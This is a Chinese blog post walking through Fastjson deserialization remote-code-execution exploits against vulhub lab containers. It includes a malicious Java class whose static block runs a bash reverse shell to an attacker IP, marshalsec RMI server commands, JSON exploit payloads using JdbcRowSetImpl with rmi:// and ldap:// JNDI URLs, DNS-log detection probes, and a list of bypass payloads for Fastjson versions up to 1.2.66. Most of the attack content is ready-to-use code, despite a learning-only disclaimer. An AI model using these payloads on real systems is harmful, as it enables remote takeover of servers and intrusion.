Fastjson漏洞复现

不念不忘少年蓝@ 2023-10-06 19:36 68阅读 0赞

#### 目录 ####

*  简介
 *  CVE-2017-18349（Fastjson v1.2.24远程命令执行）
 *   *  漏洞简介
     *  漏洞环境
     *  漏洞复现
     *  编写恶意类
     *  编译并开启RMI服务
     *   *   *  反弹shell
 *  Fastjson V1.2.47远程命令执行
 *   *  漏洞环境
     *   *  漏洞复现
         *   *  反弹shell
 *  漏洞检测
 *   *  有回显
     *  无回显
 *  fastjson其他版本绕过
 *   *  fastjson <= 1.2.41 漏洞
     *  fastjson <= 1.2.42 漏洞
     *  fastjson <= 1.2.45漏洞
     *  fastjson <= 1.2.47漏洞
     *  fastjson <= 1.2.62漏洞
     *  fastjson <= 1.2.66漏洞

**声明：本文仅供学习参考，其中涉及的一切资源均来源于网络，请勿用于任何非法行为，否则您将自行承担相应后果，本人不承担任何法律及连带责任。**

## 简介 ##

Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。

大致意思是可以实现json对象与JavaBean对象的转换，实现JavaBean对象与json字符串的转换，实现json对象与json字符串的转换。

**JNDI**

JNDI (Java Naming and Directory Interface)是一组应用程序接口，提供了查找和访问命名和目录服务的通用、统一的接口，用于定位网络、用户、对象和服务等资源，是J2EE规范中是重要的规范之一。（可以理解为JNDI在J2EE中是一台交换机，将组件、资源、服务取了名字，再通过名字来查找）

JNDI底层支持RMI远程对象，JNDI接口可以访问和调用RMI注册过的服务。JNDI根据名字动态加载数据，支持的服务有DNS、LDAP、CORBA、RMI

**RMI**

RMI（Remote Method Invocation）是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ，Java 远程消息交换协议)，该协议为Java定制，要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外，还可通过References类来绑定一个外部的远程对象，当RMI绑定了References之后，首先会利用Referenceable.getReference()获取绑定对象的引用，并在目录中保存，当客户端使用lookup获取对应名字时，会返回ReferenceWrapper类的代理文件，然后会调用getReference()获取Reference类，最终通过factory类将Reference转换为具体的对象实例。

**区别**

1、反序列化常用的两种利用方式，一种是基于rmi，一种是基于ldap。  
2、RMI是一种行为，指的是Java远程方法调用。  
3、JNDI是一个接口，在这个接口下会有多种目录系统服务的实现，通过名称等去找到相关的对象，并把它下载到客户端中来。  
4、ldap指轻量级目录服务协议。  
5、备注：基于rmi的利用方式：适用jdk版本：JDK 6u132，JDK 7u131，JDK 8u121之前； 在jdk8u122的时候，加了反序列化白名单的机制，关闭了rmi远程加载代码。 基于ldap的利用方式，适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中，Oracle对LDAP向量设置了相同的限制，并发布了CVE-2018-3149，关闭了JNDI远程类加载。 可以看到ldap的利用范围是比rmi要大的，实战情况下推荐使用ldap方法进行利用。

**漏洞原理**

如果我们可以控制JNDI客户端中传入的url，就可以起一个恶意的RMI，让JNDI来加载我们的恶意类从而进行命令执行。

我们来看一下References，References类有两个属性，className和codebase url，className就是远程引用的类名，codebase决定了我们远程类的位置，当本地classpath中没有找到对应的类的时候，就会去请求codebase地址下的类（codebase支持http协议），此时如果我们将codebase地址下的类换成我们的恶意类，就能让客户端执行。

ps：在java版本大于1.8u191之后版本存在trustCodebaseURL的限制，只能信任已有的codebase地址，不再能够从指定codebase中下载字节码。

利用流程如下
    1.首先开启HTTP服务器，并将我们的恶意类放在目录下
    2.开启恶意RMI服务器
    3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
    4.恶意RMI服务器返回ReferenceWrapper类
    5.目标（JNDI_Client）在执行lookup操作的时候，在decodeObject中将ReferenceWrapper变成Reference类，然后远程加载并实例化我们的Factory类（即远程加载我们HTTP服务器上的恶意类），在实例化时触发静态代码片段中的恶意代码

## CVE-2017-18349（Fastjson v1.2.24远程命令执行） ##

### 漏洞简介 ###

fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

### 漏洞环境 ###

靶场选择使用vulhub搭建，网址：`https://github.com/vulhub/vulhub`

下载vulhub，找到fastjson/1.2.24-rce目录，使用`docker-compose up -d`启动环境。  
![在这里插入图片描述][114ff8bc84554b07b0374fae947db98e.png]  
`docker ps -a` 查看漏洞环境启动成功  
![在这里插入图片描述][5db6259c9eff4179ad33e55742159c39.png]  
web访问一下  
![在这里插入图片描述][3c76b365673c4dac9ca5970c46b3bc6e.png]

### 漏洞复现 ###

因为目标环境是Java 8u102，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。

### 编写恶意类 ###

在攻击机上编写恶意类代码 `TouchFile.java`

import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        
     static {
        
         try {
        
             Runtime rt = Runtime.getRuntime();
             String[] commands = {
        "touch", "/tmp/EDI"};
             Process pc = rt.exec(commands);
             pc.waitFor();
         } catch (Exception e) {
        
         }
    	 // do nothing
     }
    }

然后`javac TouchFile.java`编译一下，生成`TouchFile.class`.  
![在这里插入图片描述][88f9ab49874a40a8988a78f998bb0241.png]  
使用python 起一个http服务`python -m SimpleHTTPServer 8888`  
![在这里插入图片描述][7a07f6f92925424f984f40dde31d785a.png]  
web访问一下该http服务  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]

### 编译并开启RMI服务 ###

下载marshalsec 项目 `https://github.com/mbechler/marshalsec`

java8下，使用 maven 构建mvn clean package -DskipTests 生成相应jar包  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]  
启动RMI服务，监听9999端口，并制定远程加载类TouchFile.class  
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.8.14:8888/#TouchFile" 9999`  
![在这里插入图片描述][44f5743c5377421088902a9d0c84f511.png]  
访问http://192.168.10.171:8090/，并通过bp抓包

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]

修改请求方式为POST Content-Type改成application/json，并写入exp，然后发送请求。

`exp:`

{
        
     "b":{
        
     "@type":"com.sun.rowset.JdbcRowSetImpl",
     "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
     "autoCommit":true
     }
    }

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]

响应：  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]

进入docker容器中查看已在tmp目录下创建EDI文件  
![在这里插入图片描述][d40bb4598cd54c6f8f3324204c79e296.png]

##### 反弹shell #####

既然能创建文件，那么也可以反弹shell  
修改恶意类文件TouchFile.java

import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        
     static {
        
         try {
        
             Runtime rt = Runtime.getRuntime();
             String[] commands = {
        "/bin/bash","-c","bash -i >& /dev/tcp/192.168.8.14/4444 0>&1"};
             Process pc = rt.exec(commands);
             pc.waitFor();
         } catch (Exception e) {
        
         }
    	 // do nothing
     }
    }

javac编译一把

攻击机开启nc监听  
![在这里插入图片描述][3ad5762f35f9464fb26e5c617b1ea911.png]  
bp重放一次，查看反弹shell成功。  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]

## Fastjson V1.2.47远程命令执行 ##

该漏洞利用方法和`V1.2.24`版本相似，仅攻击载荷不一样而已。

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

### 漏洞环境 ###

同样使用vulhub搭建靶场，找到`fastjson/1.2.47-rce`目录，并执行`docker-compose up -d`启动环境。

`docker ps -a`查看环境启动成功  
![在这里插入图片描述][0436c99c5a4246e18c3627336c723d68.png]  
web访问一下  
![在这里插入图片描述][52403c3b3fea41b49f4f09c139598f18.png]

#### 漏洞复现 ####

##### 反弹shell #####

`编写恶意类并开启http服务传输、启动RMI服务、BP抓包，参考上面，在此不再赘述`。

攻击机开启nc监听  
![在这里插入图片描述][8d4b7be86961404d9aa9a64e1de86d68.png]

修改BP抓到的请求包，修改请求方式为POST Content-Type改成application/json，并写入exp，然后发送请求。

`EXP:`

{
        
      "a":{
        
     "@type":"java.lang.Class",
     "val":"com.sun.rowset.JdbcRowSetImpl"
     },
     "b":{
        
     "@type":"com.sun.rowset.JdbcRowSetImpl",
     "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
     "autoCommit":true
     }
    }

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]  
查看反弹shell已成功  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]

## 漏洞检测 ##

### 有回显 ###

如果站点有原始报错回显，可以用不闭合花括号的方式进行报错回显，报错中往往会有fastjson的字样

{
        
        "@type":"java.net.Inet4Address",
        "val":"dnslog"

![在这里插入图片描述][0d6919b6196a4295bf55c5ff61244579.png]

### 无回显 ###

{
        
    	"zeo": {
        
    		"@type": "java.net.Inet4Address",
    		"val": "rv33g4.ceye.io"
    	}
    }

![在这里插入图片描述][5445c2e5963d4973b1da38eb8fa6e73d.png]

盲打技巧：
    1.2.67版本前payload
    {
        "zeo":{
        "@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
    
    1.2.67版本后payload：
    {
        "@type":"java.net.Inet4Address","val":"dnslog"}
    {
        "@type":"java.net.Inet6Address","val":"dnslog"}

## fastjson其他版本绕过 ##

### fastjson <= 1.2.41 漏洞 ###

fastjson判断类名是否以L开头、以;结尾，是的话就提取出其中的类名再加载。

exp:
    
    {
        
    	"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    	"dataSourceName": "rmi://x.x.x.x:1098/jndi",
    	"autoCommit": true
    }

### fastjson <= 1.2.42 漏洞 ###

1.2.42 版本新增了校验机制，如果输入类名的开头和结尾是l和;就将头和尾去掉，再进行黑名单验证。  
所以绕过需要在类名外部嵌套两层L;。

类名：com.sun.rowset.JdbcRowSetImpl 
    绕过：LLcom.sun.rowset.JdbcRowSetImpl;;

exp:
    
    {
        
    	"b": {
        
    		"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    		"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
    		"autoCommit": true
    	}
    }

### fastjson <= 1.2.45漏洞 ###

利用条件：
    1）、目标服务端存在mybatis的jar包。
    2）、版本需为 3.x.x ～ 3.5.0
    3）、autoTypeSupport属性为true才能使用。（fastjson >= 1.2.25默认为false）

使用黑名单绕过，org.apache.ibatis.datasource在1.2.46版本中被加入了黑名单。

exp:
    
    {
        
    	"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    	"properties": {
        
    		"data_source": "ldap://localhost:1389/Exploit"
    	}
    }

### fastjson <= 1.2.47漏洞 ###

利用条件：
    
    小于 1.2.48 版本的通杀，autoType为关闭状态也可以。
    
    loadClass中默认cache设置为true。

首先使用java.lang.CLass把获取到的类缓存到mapping中，然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类，绕过黑名单机制。

exp：
    
    {
        
    "a": {
        
              "@type": "java.lang.Class",
              "val": "com.sun.rowset.JdbcRowSetImpl"
          },
          "b": {
        
              "@type": "com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName": "rmi://x.x.x.x:1098/jndi",
              "autoCommit": true
    } }

### fastjson <= 1.2.62漏洞 ###

exp:
    
    {
        
    	"@type": "org.apache.xbean.propertyeditor.JndiConverter",
    	"AsText": "rmi://127.0.0.1:1099/exploit"
    }
    ";

### fastjson <= 1.2.66漏洞 ###

autoTypeSupport属性为true才能使用。（fastjson >= 1.2.25默认为false）

exp:
    
    {
        
    	"@type": "org.apache.shiro.jndi.JndiObjectFactory",
    	"resourceName": "ldap://192.168.80.1:1389/Calc"
    }
    
    {
        
    	"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    	"metricRegistry": "ldap://192.168.80.1:1389/Calc"
    } {
        
    	"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    	"jndiNames": "ldap://x.x.x.x:1389/Calc"
    }
    
    {
        
    	"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    	"properties":
    
    	{
        
    		"@type": "java.util.Properties",
    		"UserTransacti
    		on ":"
    		ldap: //x.x.x.x:1389/Calc"}}

[114ff8bc84554b07b0374fae947db98e.png]: https://img-blog.csdnimg.cn/114ff8bc84554b07b0374fae947db98e.png
[5db6259c9eff4179ad33e55742159c39.png]: https://img-blog.csdnimg.cn/5db6259c9eff4179ad33e55742159c39.png
[3c76b365673c4dac9ca5970c46b3bc6e.png]: https://img-blog.csdnimg.cn/3c76b365673c4dac9ca5970c46b3bc6e.png
[88f9ab49874a40a8988a78f998bb0241.png]: https://img-blog.csdnimg.cn/88f9ab49874a40a8988a78f998bb0241.png
[7a07f6f92925424f984f40dde31d785a.png]: https://img-blog.csdnimg.cn/7a07f6f92925424f984f40dde31d785a.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/aac4aafa8bc14c71aac71e6f66d187bb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/b8c45fc54cac4e1e8506e67ff5ab3211.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[44f5743c5377421088902a9d0c84f511.png]: https://img-blog.csdnimg.cn/44f5743c5377421088902a9d0c84f511.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/269a775c05a34987ac172b8039fd0fd1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/ccb3f5a4406146499642a497f5b0ffbb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]: https://img-blog.csdnimg.cn/e30d605ff7e146f2a12959ce2561f585.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]: https://img-blog.csdnimg.cn/0cdea8ee27de4e3893716114f42381f3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]: https://img-blog.csdnimg.cn/202c7c252faa49b68c28efc68f12ff14.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[d40bb4598cd54c6f8f3324204c79e296.png]: https://img-blog.csdnimg.cn/d40bb4598cd54c6f8f3324204c79e296.png
[3ad5762f35f9464fb26e5c617b1ea911.png]: https://img-blog.csdnimg.cn/3ad5762f35f9464fb26e5c617b1ea911.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]: https://img-blog.csdnimg.cn/ab989a0268d244899d6909b375ef3397.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[0436c99c5a4246e18c3627336c723d68.png]: https://img-blog.csdnimg.cn/0436c99c5a4246e18c3627336c723d68.png
[52403c3b3fea41b49f4f09c139598f18.png]: https://img-blog.csdnimg.cn/52403c3b3fea41b49f4f09c139598f18.png
[8d4b7be86961404d9aa9a64e1de86d68.png]: https://img-blog.csdnimg.cn/8d4b7be86961404d9aa9a64e1de86d68.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]: https://img-blog.csdnimg.cn/44a4aa3de6d34957abc60c7a7a6ec8e9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]: https://img-blog.csdnimg.cn/cbc156c7992f4b17bb05212a83a8432b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[0d6919b6196a4295bf55c5ff61244579.png]: https://img-blog.csdnimg.cn/0d6919b6196a4295bf55c5ff61244579.png
[5445c2e5963d4973b1da38eb8fa6e73d.png]: https://img-blog.csdnimg.cn/5445c2e5963d4973b1da38eb8fa6e73d.png